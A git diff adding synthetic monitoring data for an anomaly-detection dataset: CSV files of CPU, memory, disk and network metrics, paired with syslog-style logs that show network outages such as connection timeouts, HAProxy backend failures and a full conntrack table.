+2025-08-20T14:04:50Z,14.25,41.72,25.6,0.02,0.01 +2025-08-20T14:04:55Z,16.08,33.88,36.64,0.02,0.03 +2025-08-20T14:05:00Z,15.39,43.0,26.39,0.01,0.03 +2025-08-20T14:05:05Z,14.31,43.52,37.57,0.03,0.04 +2025-08-20T14:05:10Z,13.47,37.19,16.75,0.02,0.03 +2025-08-20T14:05:15Z,16.55,37.63,30.0,0.01,0.04 +2025-08-20T14:05:20Z,17.8,38.98,33.18,0.04,0.05 +2025-08-20T14:05:25Z,15.43,35.94,31.39,0.0,0.04 +2025-08-20T14:05:30Z,13.78,41.47,26.11,0.02,0.05 +2025-08-20T14:05:35Z,13.92,40.3,35.32,0.03,0.02 +2025-08-20T14:05:40Z,12.66,42.83,37.31,0.0,0.02 +2025-08-20T14:05:45Z,12.67,40.91,27.64,0.05,0.0 +2025-08-20T14:05:50Z,14.12,34.01,33.61,0.02,0.02 +2025-08-20T14:05:55Z,17.65,41.27,28.03,0.05,0.04 +2025-08-20T14:06:00Z,15.65,37.74,34.7,0.05,0.04 +2025-08-20T14:06:05Z,12.87,44.21,28.46,0.03,0.05 +2025-08-20T14:06:10Z,16.14,43.87,25.45,0.02,0.01 +2025-08-20T14:06:15Z,15.32,40.57,25.49,0.02,0.05 +2025-08-20T14:06:20Z,17.03,41.35,40.78,0.02,0.02 +2025-08-20T14:06:25Z,13.85,43.46,37.46,0.03,0.0 +2025-08-20T14:06:30Z,14.0,39.06,27.23,0.03,0.02 +2025-08-20T14:06:35Z,14.83,48.64,29.89,0.0,0.0 +2025-08-20T14:06:40Z,11.51,40.67,16.82,0.04,0.01 +2025-08-20T14:06:45Z,14.77,41.66,35.92,0.01,0.02 +2025-08-20T14:06:50Z,16.9,39.25,27.7,0.0,0.05 +2025-08-20T14:06:55Z,16.86,42.03,28.71,0.05,0.02 +2025-08-20T14:07:00Z,15.34,36.9,36.26,0.04,0.03 +2025-08-20T14:07:05Z,15.56,40.77,36.0,0.03,0.03 +2025-08-20T14:07:10Z,13.25,38.12,36.02,0.02,0.01 +2025-08-20T14:07:15Z,14.66,40.6,33.48,0.01,0.0 +2025-08-20T14:07:20Z,13.66,40.93,33.35,0.0,0.01 +2025-08-20T14:07:25Z,14.99,39.93,26.19,0.01,0.04 diff --git a/anom_dataset/scenario_10/anom_10_23.log b/anom_dataset/scenario_10/anom_10_23.log new file mode 100644 index 0000000000000000000000000000000000000000..95f0516c4ed0636965bc9c82e6e10f523c30cce5 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_23.log @@ -0,0 +1,19 @@ +Aug 20 14:00:28 web-app[1567]: GET /api/v1/status status=200 OK +Aug 20 14:00:58 web-app[1567]: GET /api/v1/status status=200 OK +Aug 20 14:01:27 web-app[1567]: GET /api/v1/status status=200 OK +Aug 20 14:01:54 web-app[1567]: GET /api/v1/status status=200 OK +Aug 20 14:02:17 web-app[1567]: GET /api/v1/status status=200 OK +Aug 20 14:02:55 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:03:13 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:03:37 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:04:01 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:04:20 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:04:38 kernel: [1824.721] nf_conntrack: nf_conntrack: table full, dropping packet +Aug 20 14:04:59 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:05:17 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:05:33 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:05:52 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:06:07 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:06:30 systemd[1]: session-c1.scope: Succeeded. +Aug 20 14:06:53 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out +Aug 20 14:07:17 client-app[7890]: ERROR Failed to connect to web-app: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_24.csv b/anom_dataset/scenario_10/anom_10_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..5249af814e5180ccae001d3b7c83cc5a40828238 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,11.12,38.19,30.79,1.03,0.72 +2025-07-02T12:00:05Z,15.76,42.44,30.38,0.83,1.03 +2025-07-02T12:00:10Z,15.66,39.98,33.41,1.3,1.19 +2025-07-02T12:00:15Z,13.15,38.6,33.18,1.16,1.24 +2025-07-02T12:00:20Z,12.91,35.26,35.24,1.29,0.92 +2025-07-02T12:00:25Z,15.8,47.62,27.94,1.31,0.9 +2025-07-02T12:00:30Z,16.55,45.35,27.38,1.5,0.78 +2025-07-02T12:00:35Z,13.0,44.83,31.68,1.35,1.04 +2025-07-02T12:00:40Z,15.33,43.6,25.02,1.08,0.92 +2025-07-02T12:00:45Z,15.26,36.38,34.46,0.81,0.79 +2025-07-02T12:00:50Z,20.46,39.83,32.9,1.39,1.15 +2025-07-02T12:00:55Z,12.42,38.54,22.7,0.99,0.75 +2025-07-02T12:01:00Z,13.15,35.23,37.66,1.0,0.89 +2025-07-02T12:01:05Z,13.64,42.29,31.18,1.32,1.08 +2025-07-02T12:01:10Z,17.36,43.69,34.54,1.23,0.73 +2025-07-02T12:01:15Z,13.87,37.24,24.45,0.99,1.29 +2025-07-02T12:01:20Z,16.38,37.8,29.22,0.97,0.96 +2025-07-02T12:01:25Z,17.89,40.99,28.05,1.01,1.26 +2025-07-02T12:01:30Z,16.01,36.84,35.09,1.38,1.29 +2025-07-02T12:01:35Z,17.24,37.51,36.17,1.3,1.01 +2025-07-02T12:01:40Z,14.17,38.36,29.52,1.27,0.96 +2025-07-02T12:01:45Z,11.49,40.01,27.73,1.3,0.93 +2025-07-02T12:01:50Z,15.29,42.91,31.3,1.18,0.93 +2025-07-02T12:01:55Z,14.53,40.47,36.18,1.04,1.05 +2025-07-02T12:02:00Z,18.42,44.62,39.59,1.35,1.04 +2025-07-02T12:02:05Z,16.38,40.98,29.84,1.47,0.74 +2025-07-02T12:02:10Z,14.91,41.15,31.14,1.24,1.17 +2025-07-02T12:02:15Z,17.78,40.93,29.15,1.46,0.86 +2025-07-02T12:02:20Z,14.13,42.9,30.39,1.44,0.71 +2025-07-02T12:02:25Z,16.55,46.77,24.29,0.97,1.27 +2025-07-02T12:02:30Z,15.33,43.21,32.46,0.0,0.0 +2025-07-02T12:02:35Z,15.71,36.07,30.43,0.0,0.0 +2025-07-02T12:02:40Z,13.8,41.67,39.73,0.0,0.0 +2025-07-02T12:02:45Z,14.29,38.45,30.45,0.0,0.0 +2025-07-02T12:02:50Z,14.2,39.87,32.24,0.0,0.0 +2025-07-02T12:02:55Z,14.7,37.78,28.68,0.0,0.0 +2025-07-02T12:03:00Z,11.26,39.73,25.2,0.0,0.0 +2025-07-02T12:03:05Z,14.23,42.55,32.23,0.0,0.0 +2025-07-02T12:03:10Z,16.9,42.92,28.31,0.0,0.0 +2025-07-02T12:03:15Z,20.96,40.97,27.22,0.0,0.0 +2025-07-02T12:03:20Z,18.23,43.38,24.82,0.0,0.0 +2025-07-02T12:03:25Z,12.88,45.4,30.84,0.0,0.0 +2025-07-02T12:03:30Z,15.49,39.39,28.37,0.0,0.0 +2025-07-02T12:03:35Z,14.23,46.6,22.32,0.0,0.0 +2025-07-02T12:03:40Z,16.45,40.35,34.26,0.0,0.0 +2025-07-02T12:03:45Z,16.49,35.05,19.89,0.0,0.0 +2025-07-02T12:03:50Z,15.56,39.74,24.87,0.0,0.0 +2025-07-02T12:03:55Z,14.9,42.23,29.54,0.0,0.0 +2025-07-02T12:04:00Z,14.21,35.09,14.72,0.0,0.0 +2025-07-02T12:04:05Z,16.37,41.46,25.92,0.0,0.0 +2025-07-02T12:04:10Z,17.59,43.05,18.24,0.0,0.0 +2025-07-02T12:04:15Z,15.31,44.89,27.12,0.0,0.0 +2025-07-02T12:04:20Z,15.98,37.3,31.22,0.0,0.0 +2025-07-02T12:04:25Z,12.68,37.87,25.96,0.0,0.0 +2025-07-02T12:04:30Z,14.8,40.52,38.3,0.0,0.0 +2025-07-02T12:04:35Z,14.19,40.31,38.65,0.0,0.0 +2025-07-02T12:04:40Z,14.7,35.19,35.42,0.0,0.0 +2025-07-02T12:04:45Z,15.66,39.62,22.56,0.0,0.0 +2025-07-02T12:04:50Z,14.25,41.72,25.6,0.0,0.0 +2025-07-02T12:04:55Z,16.08,33.88,36.64,0.0,0.0 +2025-07-02T12:05:00Z,15.39,43.0,26.39,1.0,0.94 +2025-07-02T12:05:05Z,14.31,43.52,37.57,1.37,1.12 +2025-07-02T12:05:10Z,13.47,37.19,16.75,1.36,1.08 +2025-07-02T12:05:15Z,16.55,37.63,30.0,1.14,1.12 +2025-07-02T12:05:20Z,17.8,38.98,33.18,1.4,0.79 +2025-07-02T12:05:25Z,15.43,35.94,31.39,1.0,1.04 +2025-07-02T12:05:30Z,13.78,41.47,26.11,1.39,1.04 +2025-07-02T12:05:35Z,13.92,40.3,35.32,1.33,1.23 +2025-07-02T12:05:40Z,12.66,42.83,37.31,1.45,1.01 +2025-07-02T12:05:45Z,12.67,40.91,27.64,1.07,1.22 +2025-07-02T12:05:50Z,14.12,34.01,33.61,1.49,1.3 +2025-07-02T12:05:55Z,17.65,41.27,28.03,1.25,1.21 +2025-07-02T12:06:00Z,15.65,37.74,34.7,1.32,1.28 +2025-07-02T12:06:05Z,12.87,44.21,28.46,0.92,0.9 +2025-07-02T12:06:10Z,16.14,43.87,25.45,0.9,0.88 +2025-07-02T12:06:15Z,15.32,40.57,25.49,1.24,0.73 +2025-07-02T12:06:20Z,17.03,41.35,40.78,1.32,0.88 +2025-07-02T12:06:25Z,13.85,43.46,37.46,1.04,1.24 +2025-07-02T12:06:30Z,14.0,39.06,27.23,1.44,1.23 +2025-07-02T12:06:35Z,14.83,48.64,29.89,1.25,1.29 +2025-07-02T12:06:40Z,11.51,40.67,16.82,1.37,0.78 +2025-07-02T12:06:45Z,14.77,41.66,35.92,1.48,1.27 +2025-07-02T12:06:50Z,16.9,39.25,27.7,1.13,0.93 +2025-07-02T12:06:55Z,16.86,42.03,28.71,0.97,0.71 +2025-07-02T12:07:00Z,15.34,36.9,36.26,1.16,0.92 +2025-07-02T12:07:05Z,15.56,40.77,36.0,0.82,0.72 +2025-07-02T12:07:10Z,13.25,38.12,36.02,1.43,0.85 +2025-07-02T12:07:15Z,14.66,40.6,33.48,1.29,0.93 +2025-07-02T12:07:20Z,13.66,40.93,33.35,1.38,1.24 +2025-07-02T12:07:25Z,14.99,39.93,26.19,1.48,0.98 diff --git a/anom_dataset/scenario_10/anom_10_24.log b/anom_dataset/scenario_10/anom_10_24.log new file mode 100644 index 0000000000000000000000000000000000000000..e31a691326f1508121458fbfe34ad0d1a2989ce3 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_24.log @@ -0,0 +1,39 @@ +Jul 02 12:00:00 CRON[5297]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:00:25 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:00:40 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:15 CRON[5297]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:15 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:01:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:05 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:02:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:02:30 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:02:30 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:02:45 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:03:00 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:03:15 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:03:20 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:03:30 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:03:45 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:04:00 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:04:10 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:04:15 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:04:30 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:04:45 haproxy[3456]: Connect to backend web-app/server1 failed: Connection timed out +Jul 02 12:05:00 CRON[5297]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:05:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:05:25 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:05:40 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:06:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:06:15 CRON[5297]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:15 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:06:20 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:06:40 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:07:00 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:07:05 auth-service[5678]: User 'admin' authenticated successfully +Jul 02 12:07:20 web-app[1234]: GET /api/v1/data status=200 OK diff --git a/anom_dataset/scenario_10/anom_10_25.csv b/anom_dataset/scenario_10/anom_10_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..f81f238861163f99cbceb365889044c5079091b2 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,20.36,43.22,27.51,1.05,1.38 +2025-08-22T10:00:05Z,18.15,43.21,29.27,1.19,0.98 +2025-08-22T10:00:10Z,16.3,47.92,24.79,1.44,1.08 +2025-08-22T10:00:15Z,21.32,44.04,22.39,1.49,0.88 +2025-08-22T10:00:20Z,21.31,41.49,23.43,1.13,0.96 +2025-08-22T10:00:25Z,16.59,46.07,25.44,0.88,1.01 +2025-08-22T10:00:30Z,17.35,46.25,27.1,1.14,1.02 +2025-08-22T10:00:35Z,22.05,49.41,26.79,1.12,1.1 +2025-08-22T10:00:40Z,23.03,43.24,22.78,1.13,1.01 +2025-08-22T10:00:45Z,23.91,48.09,22.38,1.07,1.37 +2025-08-22T10:00:50Z,19.78,44.22,22.02,0.87,0.82 +2025-08-22T10:00:55Z,20.46,40.37,24.25,1.23,1.35 +2025-08-22T10:01:00Z,23.64,42.63,25.92,1.21,0.71 +2025-08-22T10:01:05Z,15.9,49.87,29.6,1.21,1.14 +2025-08-22T10:01:10Z,17.87,44.85,26.19,1.03,1.22 +2025-08-22T10:01:15Z,17.11,42.68,28.73,1.24,0.87 +2025-08-22T10:01:20Z,18.6,47.25,25.37,1.3,0.91 +2025-08-22T10:01:25Z,22.94,47.3,23.27,1.05,1.16 +2025-08-22T10:01:30Z,22.37,40.74,27.34,1.31,0.83 +2025-08-22T10:01:35Z,21.13,49.23,23.75,1.08,1.14 +2025-08-22T10:01:40Z,23.13,49.16,25.48,1.47,1.02 +2025-08-22T10:01:45Z,21.41,47.54,28.24,0.99,0.85 +2025-08-22T10:01:50Z,17.84,44.21,28.18,1.15,1.11 +2025-08-22T10:01:55Z,19.49,40.98,26.24,1.09,0.94 +2025-08-22T10:02:00Z,15.8,44.97,29.71,1.27,1.11 +2025-08-22T10:02:05Z,22.54,40.53,23.11,1.43,1.24 +2025-08-22T10:02:10Z,20.8,48.1,20.14,0.81,1.34 +2025-08-22T10:02:15Z,21.99,42.7,26.43,1.0,1.01 +2025-08-22T10:02:20Z,23.08,40.27,25.61,1.33,0.9 +2025-08-22T10:02:25Z,19.9,44.92,24.93,1.02,1.27 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diff --git a/anom_dataset/scenario_10/anom_10_25.log b/anom_dataset/scenario_10/anom_10_25.log new file mode 100644 index 0000000000000000000000000000000000000000..563025171bea3931c16add6908b9768fb3fb4aa0 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_25.log @@ -0,0 +1,22 @@ +Aug 22 10:00:00 systemd[1]: Starting network services... +Aug 22 10:00:02 web-app[3456]: Service started successfully on port 80. +Aug 22 10:00:07 frontend-app[7890]: Frontend application is up and running. +Aug 22 10:00:25 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 10:00:45 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 10:01:05 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 10:01:30 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 10:01:50 CRON[10686]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:55 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 10:02:15 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 10:03:00 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:03:25 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:03:40 CRON[10533]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:55 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:04:20 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:04:50 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:05:20 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:05:30 CRON[10317]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:50 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:06:20 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:06:50 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out +Aug 22 10:07:20 frontend-app[7890]: ERROR Connection to backend service failed: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_26.csv b/anom_dataset/scenario_10/anom_10_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..1d2e73cb1f8deec5c4733f490623df49143814a7 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,11.12,38.19,30.79,1.14,1.01 +2025-07-03T10:00:05Z,15.76,42.44,30.38,1.18,0.88 +2025-07-03T10:00:10Z,15.66,39.98,33.41,1.22,0.9 +2025-07-03T10:00:15Z,13.15,38.6,33.18,1.56,0.95 +2025-07-03T10:00:20Z,12.91,35.26,35.24,1.41,0.61 +2025-07-03T10:00:25Z,15.8,47.62,27.94,1.39,0.71 +2025-07-03T10:00:30Z,16.55,45.35,27.38,1.15,1.09 +2025-07-03T10:00:35Z,13.0,44.83,31.68,1.19,0.62 +2025-07-03T10:00:40Z,15.33,43.6,25.02,1.1,0.79 +2025-07-03T10:00:45Z,15.26,36.38,34.46,1.35,0.92 +2025-07-03T10:00:50Z,20.46,39.83,32.9,1.4,0.79 +2025-07-03T10:00:55Z,12.42,38.54,22.7,1.03,1.03 +2025-07-03T10:01:00Z,13.15,35.23,37.66,0.9,1.05 +2025-07-03T10:01:05Z,13.64,42.29,31.18,1.34,1.08 +2025-07-03T10:01:10Z,17.36,43.69,34.54,1.04,0.73 +2025-07-03T10:01:15Z,13.87,37.24,24.45,1.0,0.75 +2025-07-03T10:01:20Z,16.38,37.8,29.22,1.31,0.91 +2025-07-03T10:01:25Z,17.89,40.99,28.05,1.37,1.05 +2025-07-03T10:01:30Z,16.01,36.84,35.09,1.44,0.91 +2025-07-03T10:01:35Z,17.24,37.51,36.17,1.4,0.72 +2025-07-03T10:01:40Z,14.17,38.36,29.52,0.79,0.83 +2025-07-03T10:01:45Z,11.49,40.01,27.73,1.32,1.05 +2025-07-03T10:01:50Z,15.29,42.91,31.3,1.31,0.82 +2025-07-03T10:01:55Z,14.53,40.47,36.18,1.23,1.0 +2025-07-03T10:02:00Z,18.42,44.62,39.59,1.17,0.97 +2025-07-03T10:02:05Z,16.38,40.98,29.84,1.26,0.79 +2025-07-03T10:02:10Z,14.91,41.15,31.14,1.76,0.87 +2025-07-03T10:02:15Z,17.78,40.93,29.15,1.46,1.01 +2025-07-03T10:02:20Z,14.13,42.9,30.39,1.18,0.83 +2025-07-03T10:02:25Z,16.55,46.77,24.29,1.27,0.64 +2025-07-03T10:02:30Z,15.33,43.21,32.46,0.05,0.03 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+2025-07-03T10:05:55Z,17.65,41.27,28.03,1.33,1.09 +2025-07-03T10:06:00Z,15.65,37.74,34.7,0.88,0.73 +2025-07-03T10:06:05Z,12.87,44.21,28.46,1.17,1.35 +2025-07-03T10:06:10Z,16.14,43.87,25.45,1.09,0.77 +2025-07-03T10:06:15Z,15.32,40.57,25.49,1.2,1.08 +2025-07-03T10:06:20Z,17.03,41.35,40.78,1.26,1.1 +2025-07-03T10:06:25Z,13.85,43.46,37.46,1.32,0.8 +2025-07-03T10:06:30Z,14.0,39.06,27.23,1.21,0.99 +2025-07-03T10:06:35Z,14.83,48.64,29.89,1.11,0.96 +2025-07-03T10:06:40Z,11.51,40.67,16.82,0.91,0.76 +2025-07-03T10:06:45Z,14.77,41.66,35.92,0.98,0.87 +2025-07-03T10:06:50Z,16.9,39.25,27.7,1.24,1.04 +2025-07-03T10:06:55Z,16.86,42.03,28.71,0.99,0.93 +2025-07-03T10:07:00Z,15.34,36.9,36.26,0.99,0.92 +2025-07-03T10:07:05Z,15.56,40.77,36.0,1.12,1.02 +2025-07-03T10:07:10Z,13.25,38.12,36.02,1.15,1.05 +2025-07-03T10:07:15Z,14.66,40.6,33.48,1.23,0.7 +2025-07-03T10:07:20Z,13.66,40.93,33.35,1.42,0.9 +2025-07-03T10:07:25Z,14.99,39.93,26.19,0.92,1.29 diff --git a/anom_dataset/scenario_10/anom_10_26.log b/anom_dataset/scenario_10/anom_10_26.log new file mode 100644 index 0000000000000000000000000000000000000000..42e6c16a0c185fc0bc9af72308e04ce6b1571831 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_26.log @@ -0,0 +1,46 @@ +Jul 03 10:00:00 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:20 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:00:40 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:00:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:00 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:20 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:01:40 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:00 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:20 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:02:40 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:02:50 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:02:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:00 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:03:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:10 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:03:20 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:03:30 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:03:40 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:03:50 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:03:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:00 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:04:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:10 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:04:20 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:04:30 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:04:40 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:04:50 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:04:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:00 internal-connector[3341]: ERROR Connection to payment-gateway:8080 timed out +Jul 03 10:05:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:20 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:05:40 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:05:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:00 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:20 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:06:40 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:06:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:00 web-app[1567]: GET /api/v1/health status=200 OK +Jul 03 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:20 web-app[1567]: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_10/anom_10_27.csv b/anom_dataset/scenario_10/anom_10_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..1fd30c2f49032d73fc1de0b04892f6a03a4253a8 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T14:00:00Z,11.15,44.11,20.87,1.04,1.19 +2025-07-10T14:00:05Z,14.0,39.17,27.34,1.3,1.19 +2025-07-10T14:00:10Z,10.38,35.29,26.27,1.43,1.27 +2025-07-10T14:00:15Z,11.91,42.23,20.06,1.24,1.08 +2025-07-10T14:00:20Z,12.66,38.43,26.05,1.47,0.71 +2025-07-10T14:00:25Z,10.46,41.34,24.33,1.19,0.98 +2025-07-10T14:00:30Z,10.97,35.03,25.09,1.32,1.08 +2025-07-10T14:00:35Z,11.03,41.54,27.13,0.83,1.05 +2025-07-10T14:00:40Z,14.44,35.22,21.49,1.08,0.86 +2025-07-10T14:00:45Z,10.52,42.56,29.24,1.1,0.72 +2025-07-10T14:00:50Z,11.69,44.52,21.56,0.82,0.9 +2025-07-10T14:00:55Z,12.65,40.73,23.33,0.98,1.01 +2025-07-10T14:01:00Z,14.77,41.53,26.49,1.29,1.3 +2025-07-10T14:01:05Z,14.47,37.54,22.52,1.19,1.3 +2025-07-10T14:01:10Z,11.96,41.52,20.05,0.95,1.18 +2025-07-10T14:01:15Z,11.79,37.44,24.83,1.33,1.13 +2025-07-10T14:01:20Z,12.93,38.18,22.41,1.06,0.93 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+2025-07-10T14:04:45Z,12.23,43.84,29.01,0.0,0.0 +2025-07-10T14:04:50Z,14.84,41.09,24.84,0.0,0.0 +2025-07-10T14:04:55Z,13.47,43.55,24.08,0.0,0.0 +2025-07-10T14:05:00Z,11.33,42.37,20.21,0.0,0.0 +2025-07-10T14:05:05Z,10.81,43.72,20.59,0.0,0.0 +2025-07-10T14:05:10Z,14.48,44.77,26.48,0.0,0.0 +2025-07-10T14:05:15Z,10.93,39.39,22.28,0.0,0.0 +2025-07-10T14:05:20Z,12.94,43.01,28.4,0.0,0.0 +2025-07-10T14:05:25Z,13.56,36.88,20.38,0.0,0.0 +2025-07-10T14:05:30Z,14.7,39.07,21.09,0.0,0.0 +2025-07-10T14:05:35Z,13.92,41.11,23.13,0.0,0.0 +2025-07-10T14:05:40Z,11.78,39.26,29.7,0.0,0.0 +2025-07-10T14:05:45Z,11.69,41.05,28.7,0.0,0.0 +2025-07-10T14:05:50Z,10.59,42.36,21.96,0.0,0.0 +2025-07-10T14:05:55Z,13.32,39.03,20.07,0.0,0.0 +2025-07-10T14:06:00Z,10.46,42.83,28.26,0.0,0.0 +2025-07-10T14:06:05Z,13.17,44.23,26.64,0.0,0.0 +2025-07-10T14:06:10Z,11.47,40.29,23.89,0.0,0.0 +2025-07-10T14:06:15Z,10.88,36.01,25.54,0.0,0.0 +2025-07-10T14:06:20Z,13.03,37.64,28.39,0.0,0.0 +2025-07-10T14:06:25Z,14.07,35.54,28.55,0.0,0.0 +2025-07-10T14:06:30Z,14.01,42.07,28.66,0.0,0.0 +2025-07-10T14:06:35Z,14.68,38.54,26.14,0.0,0.0 